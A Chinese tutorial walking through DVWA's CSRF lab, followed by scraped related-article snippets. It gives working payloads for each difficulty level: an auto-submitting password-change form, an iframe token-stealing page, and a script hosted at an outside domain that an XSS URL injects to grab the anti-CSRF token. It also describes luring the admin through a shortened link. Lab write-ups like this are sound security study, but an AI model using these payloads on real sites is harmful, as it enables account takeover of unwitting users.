DVWA---跨站请求伪造CSRF

article/2025/9/23 3:34:11

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

攻击账户:1337

目标账户:admin

难度(low)

从源代码可以看出这里只是对用户输入的两个密码进行判断,看是否相等。不相等就提示密码不匹配。

相等的话,查看有没有设置数据库连接的全局变量和其是否为一个对象。如果是的话,用mysqli_real_escape_string()函数去转义一些字符,如果不是的话输出错误。

是同一个对象的话,再用md5进行加密,再更新数据库。

知道了这些之后,1337修改密码,抓包

生成csrf Poc放到自己的网站上

为了不被轻易辨别,将网站URL生成短网址

利用社工使目标用户admin访问该网址

 admin在登陆状态下访问了该网址,admin密码被更改

  

难度(middle)

中等级别的代码增加了 referer 判断:Php

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

如果 HTTP_REFERER 和 SERVER_NAME 不是来自同一个域的话就无法进行到循环内部,执行修改密码的操作。这个时候需要我们手动伪造 referer 来执行 CSRF 攻击:

不在一个域时

当然受害者肯定不会帮我们手动添加 referer 的,因为代码使用了 stripos 函数来检测 referer,所以这个时候我们得精心构造好一个 html 页面表单:Html

<html>
<head><meta charset="utf-8"><title>CSRF</title>
</head>
<body><form method="get" id="csrf" action="http://127.0.0.1:8888/vulnerabilities/csrf/"><input type="hidden" name="password_new" value="123"><input type="hidden" name="password_conf" value="123"><input type="hidden" name="Change" value="Change">
</form>
<script> document.forms["csrf"].submit(); </script>
</body>
</html>

绕过Referer方法

1. 目录混淆 referer
将上述 html 页面放到服务器的 dvwa.com 目录下,然后让用户访问自动触发提交然后访问构造好的 payload 地址:Payload

 可以看到,修改成功

2. 文件名混淆referer

http://exp.com/123/dvwa.com.html

3. ?拼接混淆referer
因为 ? 后默认当做参数传递,这里因为 html 页面是不能接受参数的,所以随便输入是不影响实际的结果的,利用这个特点来绕过 referer 的检测。

http://exp.com/123/csrf.com?dvwa.com

都不能成功,有哪位大神解答一下啊啊啊

referer一直显示http://exp.com

难度(high)

high级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。这里因为对请求的token进行了验证,所以比上两个等级的更加的安全。

因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie,去修改密码的页面,获取关键的token。

1. 常规思路 HTML 发起 CSRF 请求

试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击。代码如下:

<html>
<script type="text/javascript">function attack(){document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;document.getElementById("transfer").submit(); }
</script><iframe src="http://dvwa.com/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe><body onload="attack()"><form method="GET" id="transfer" action="http://dvwa.com/vulnerabilities/csrf"><input type="hidden" name="password_new" value="password"><input type="hidden" name="password_conf" value="password"><input type="hidden" name="user_token" value=""><input type="hidden" name="Change" value="Change"></form>
</body>
</html>

在同一个域下可以执行

跨域,指的是浏览器不能执行其他网站的脚本。它是由浏览器的同源策略造成的,是浏览器施加的安全限制。

攻击思路:当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

注:实际操作上存在跨域问题,浏览器是不允许跨域请求的。

举例说明:我们的框架iframe访问的地址是http://dvwa.com/vulnerabilities/csrf,位于服务器dvwa(域名A)上,而我们的攻击页面位于黑客服务器另一个ip地址(域名B)上.

两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

由于跨域是不能实现的,所以我们要将攻击代码注入到dvwa.com所在服务器中,才有可能完成攻击。

可以利用High级别的XSS漏洞协助获取Anti-CSRF token

XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token即可。

2. JS 发起 HTTP CSRF 请求

// 首先访问这个页面 来获取 token
var tokenUrl = 'http://127.0.0.1:8888/vulnerabilities/csrf/';if(window.XMLHttpRequest) {xmlhttp = new XMLHttpRequest();
}else{xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState ==4 && xmlhttp.status==200){// 使用正则提取 tokenvar text = xmlhttp.responseText;var regex = /user_token\' value\=\'(.*?)\' \/\>/;var match = text.match(regex);var token = match[1];// 发起 CSRF 请求 将 token 带入var new_url = 'http://127.0.0.1:8888/vulnerabilities/csrf/?user_token='+token+'&password_new=111&password_conf=111&Change=Change';if(count==0){count++;xmlhttp.open("GET",new_url,false);xmlhttp.send();}}
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();

将这个 js 文件上传到外网的服务器上,这里临时放在我的网站目录下:Payload 

http://exp.com/csrf.js

然后此时访问 DVWA DOM XSS 的 High 级别,直接发起 XSS 测试(后面 XSS 会详细来讲解):Javascript 

http://dvwa.com/vulnerabilities/xss_d/?default=English&a=</option></select><script src="http://exp.com/csrf.js"></script>

 尝试登录,密码修改成功!!!

难度(Impossible)

# 依然检验用户的 token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );# 需要输入当前的密码
$pass_curr = $_GET[ 'password_current' ];
$pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];# 检验当前密码是否正确
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );

这里相对于 High 级别主要就是增加了输入当前密码的选项,这个在实战中还是一种比较主流的防护方式,攻击者不知道原始密码的情况下是无法发起 CSRF 攻击的,另外常见的防护方法还有加验证码来防护。 


http://chatgpt.dhexx.cn/article/Mp9maUff.shtml

相关文章

CSRF 跨站请求伪造攻击

1.概念 全称是CSRF 跨站请求伪造攻击&#xff0c;攻击者利用用户已登陆的账号&#xff0c;诱导用户访问已构造好的恶意链接或页面&#xff0c;在用户不之情的情况下&#xff0c;做一些违反用户本意的一些违法操作。 同源策略&#xff1a;协议相同&#xff0c;域名相同&#xf…

CSRF-跨站请求伪造的原理与修复方式

CSRF: Cross site Request Forgery 跨站请求伪造 原理&#xff1a; 利用xss方式注入一段脚本&#xff0c;通过伪装来自受信任用户的请求来利用受信任的网站&#xff0c;当受害者在浏览器中运行该脚本时&#xff0c;脚本仿冒受害者&#xff0c;向合法的web系统发送一个请求&…

web基础漏洞之CSRF(跨站请求伪造漏洞)

cookie session token 我觉得在开始学习CSRF之前应该先学会区分这三种东西&#xff1a;cookie session token cookie: Cookie&#xff0c;有时也用其复数形式 Cookies。类型为“小型文本文件”&#xff0c;是某些网站为了辨别用户身份&#xff0c;进行Session跟踪而储存在用户…

Laravel框架之CSRF跨站请求伪造

一、CSRF攻击 1、什么是CSRF攻击 CSRF是跨站请求伪造&#xff08;Cross-site request forgery&#xff09;的英文缩写&#xff0c; 原理图示&#xff1a; csrf在laravel框架中的使用&#xff0c;就是在客户端form表单中设置一个_token表单域 同时把该表单域的值记录给sessi…

什么是CSRF(跨站请求伪造)?

文章目录 1. CSRF是什么&#xff1f;1.1 CSRF攻击细节CSRF攻击原理及过程如下&#xff1a; 2. CSRF漏洞检测3. 防御CSRF攻击&#xff1a;3.1 验证 HTTP Referer 字段3.1.1 优点&#xff1a;3.1.2 缺点: 3.2 在请求地址中添加 token 并验证3.3 在 HTTP 头中自定义属性并验证 1. …

WordPress 跨站请求伪造漏洞

WordPress 跨站请求伪造漏洞 漏洞ID2500593漏洞类型跨站请求伪造发布时间2021-07-08更新时间2021-07-09 CVE编号CVE-2021-20781 CNNVD-IDCNNVD-202107-420漏洞平台N/ACVSS评分N/A 漏洞简介 WordPress是Wordpress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和My…

056 CSRF跨站请求伪造

文章目录 一&#xff1a; 概述二&#xff1a;关键点三&#xff1a;目标四&#xff1a;CSRF攻击如何触发&#xff1f;五&#xff1a;实战&#xff1a;CSRF场景复现六&#xff1a;CSRF防御6.1 无效的防御6.2 有效的防御 一&#xff1a; 概述 跨站请求伪造&#xff08;cross site…

CSRF - 跨站请求伪造

什么是CSRF? CSRF&#xff08;Cross-site request forgery&#xff09;跨站请求伪造&#xff1a;也被称为“One Click Attack”或者Session Riding&#xff0c;通常缩写为CSRF或者XSRF&#xff0c;是一种对网站的恶意利用。尽管听起来像跨站脚本&#xff08;XSS&#xff09;&a…

CSRF(跨站请求伪造)

目录 CSRF 原理及过程 概述 关键点 pikachu靶场之CSRF GET型 POST型 Token 防御 如何挖掘CSRF漏洞 使用burp验证csrf 总结 CSRF (Cross-Site Request Forgery) CSRF是一种欺骗受害者提交恶意请求的攻击&#xff0c;攻击者盗用你的身份&#xff0c;向服务器发送请求…

Spring Boot项目CSRF (跨站请求伪造)攻击演示与防御

CSRF ,Cross-site request forgery,跨站请求伪造。是常见的网络攻击的方式之一,2007年曾被列为互联网20大安全隐患之一。攻击过程是攻击者伪造用户的浏览器请求,访问一个用户曾经访问过的网站, 使目标网站误以为是用户的操作而执行命令。 本篇j基于Spring Boot创建项目,…

每日漏洞 | 跨站请求伪造

01 漏洞描述 HTTP的无状态性&#xff0c;导致Web应用程序必须使用会话机制来识别用户。一旦与Web站点建立连接(访问、登录)&#xff0c;用户通常会分配到一个Cookie&#xff0c;随后的请求&#xff0c;都会带上这个Cookie&#xff0c;这样Web站点就很容易分辨请求来自哪个用户&…

CSRF跨站请求伪造

CSRF介绍&#xff1a; CSRF中文名称&#xff1a;跨站请求伪造&#xff0c;是一种“ 挟持用户”在当前已登陆的Web应用程序上执行“ 非本意操作”的攻击方法。 一、CSRF回放攻击流程 套用老师所给的一张攻击原理图 从这张流程图里我们总结一下CSRF攻击生效所需要的两个必要条件 …

【CSRF-01】跨站请求伪造漏洞基础原理及攻防

目录 1 CSRF概述2 CSRF攻击过程及原理2.1 CSRF场景例子2.2 攻击过程2.3 原理2.4 攻击成功的条件&#xff1a; 3 CSRF攻击方式/如何触发5 CSRF的防御5.1 一些无效的防御手段5.2 有效的防御手段 6 总结参考文章 1 CSRF概述 定义&#xff1a;CSRF&#xff08;Cross-site request …

一文带你学习跨站点请求伪造(CSRF)

一文带你学习跨站点请求伪造&#xff08;CSRF&#xff09; 1.何为CSRF2.浏览器的Cookie策略3.P3P头的副作用4.CSRF攻击流程5.CSRF的分类GET型POST-表单型POST-JSON型 6.CSRF的快速验证7.CSRF的防御验证码Referer CheckAnti CSRF Token 1.何为CSRF CSRF的全名是Cross Site Requ…

flask中的csrf防御机制

csrf概念 CSRF&#xff08;Cross-site request forgery&#xff09;跨站请求伪造&#xff0c;也被称为“One Click Attack”或者Session Riding&#xff0c;通常缩写为CSRF或者XSRF&#xff0c;是一种对网站的恶意利用。尽管听起来像跨站脚本&#xff08;XSS&#xff09;&…

跨站请求伪造(csrf)

1、csrf介绍 CSRF (Cross-site request forgery&#xff0c;跨站请求伪造)也被称为One Click Attack或者Session Riding&#xff0c;通常缩写为CSRF或者XSRF&#xff0c;是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS)&#xff0c;但它与XSS非常不同&#xff0c;XSS利用站…

跨站请求伪造

1. 什么是跨站请求伪造&#xff08;CSRF&#xff09; CSRF&#xff08;Cross-site request forgery跨站请求伪造&#xff0c;也被称为“One Click Attack”或者Session Riding&#xff0c;通常缩写为CSRF或者XSRF&#xff0c;是一种对网站的恶意利用。尽管听起来像跨站脚本&…

压缩包破解

压缩包破解 文章目录 压缩包破解伪加密压缩包格式压缩源文件数据区压缩源文件目录区压缩源文件目录结束标志真加密字节对比伪加密字节对比伪加密 工具 ZipCenOp.jarjoin 破解fcrackzip 或者 ziperello 暴力破解伪加密 压缩包格式 一个 ZIP 文件由三个部分组成: 压缩源文

android apk解包和打包

最近项目开发&#xff0c;我的jar包和资源文件给别的同事打包&#xff0c;这样我自己测试很麻烦&#xff0c;每次改一点东西都要找人打包测试&#xff0c;很麻烦&#xff0c;就想着能够解包&#xff0c;更新一下自己的部分代码&#xff0c;再打包apk直接测试。后来找了一些网上…

python基础语法之拆包(解包)

理解和使用python中的拆包会让我们的代码变得流畅&#xff0c;不仅对自己的手关节有好处&#xff0c;也使看官觉得很赏心悦目&#xff0c;既然拆包这么香那就抓紧用起来吧。 1、直接交换变量的本质 在C&#xff0c;C和Java语言中如果想交换两个变量的值就必须用到第三个临时变…